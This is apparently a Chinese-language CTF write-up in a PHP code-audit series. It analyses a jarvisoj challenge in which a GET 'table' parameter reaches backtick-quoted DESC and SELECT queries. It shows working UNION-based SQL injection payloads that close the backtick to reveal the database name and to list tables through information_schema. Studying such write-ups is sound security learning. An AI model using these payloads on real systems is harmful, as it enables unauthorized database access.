1. 程式人生 > 實用技巧 >PHP程式碼審計分段講解(13)

PHP程式碼審計分段講解(13)

程式碼審計分段講解之29題,程式碼如下:

<?php

require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];

?>

題目源自jarvisoj平臺,環境在:

http://web.jarvisoj.com:32794/

我們直接開始進行程式碼審計

包含config.php檔案

require("config.php");

使用GET方式傳入table,賦值給table,預設為test

接著對table進行過濾

$table = Filter($table);

這裡的Filter函式是我們不知道的,不過不影響程式碼審計

接著是

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();

該行程式碼的意思為:

當mysqli_query()函式執行成功,則不呼叫Hacker()函式

當mysqli_query()函式執行失敗,則呼叫Hacker()函式

對於mysqli_query函式的解釋:

mysqli_query() 函式執行某個針對資料庫的查詢。//定義
mysqli_query(connection,query,resultmode);//語法

也就是說對連結的資料庫執行desc 查詢,我們又知道desc是用來查詢表的結構的,如圖:

又有:

從上圖中可以看出來有:

desc xxx xxx;

desc `xxx` `xxx`

desc 'xxx' 'xxx'

desc "xxx" "xxx"

語句一和語句二是同樣的效果,能夠正常執行

語句三河語句四是同樣的效果,均無法正常執行,所以我們通過閉合反引號來進行SQL語句的注入。

關於反引號,有:https://blog.csdn.net/u012546526/article/details/44568849

反引號 ` 在mysql中是為了區分mysql中的保留字元與普通字元而引入的符號

例如,如果test表中存在一個 from 欄位,,當我們查詢內容時,就需要使用反引號,以防使用保留字元而報錯

select `from` from test

接下來的程式碼是一段SQL語句查詢,並且輸出第一個結果:

$ret = sql_query($sql);
echo $ret[0];

我們閉合反引號進行注入:

預設為:

desc `secret_test`
select 'flag{xxx}' from secret_test

查詢資料庫為:

desc `secret_test` `union select database() limit 1,1
select 'flag{xxx}' from secret_test` `union select database() limit 1,1

得知資料庫為:

61d300

獲取表

desc `secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1

select 'flag{xxx}' from secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1

得知表為

secret_flag,secret_test

後面的注入不再贅述。

提一下這個部分:

select 'flag{xxx}' from secret_test` `union select database() limit 1,1

這裡的

secret_test` `union

關於中間的翻譯好為什麼沒有影響到語句的執行,個人認為是因為兩個反引號相當於了空格,後面的語句同理。

再提一下這個部分:

limit 1,1

因為可以看到程式碼最後是:

echo $ret[0];

因為只輸出$ret[0],正常輸出的話就是 flag{xxx},所以我們使用 limit 控制輸出。

參考連結: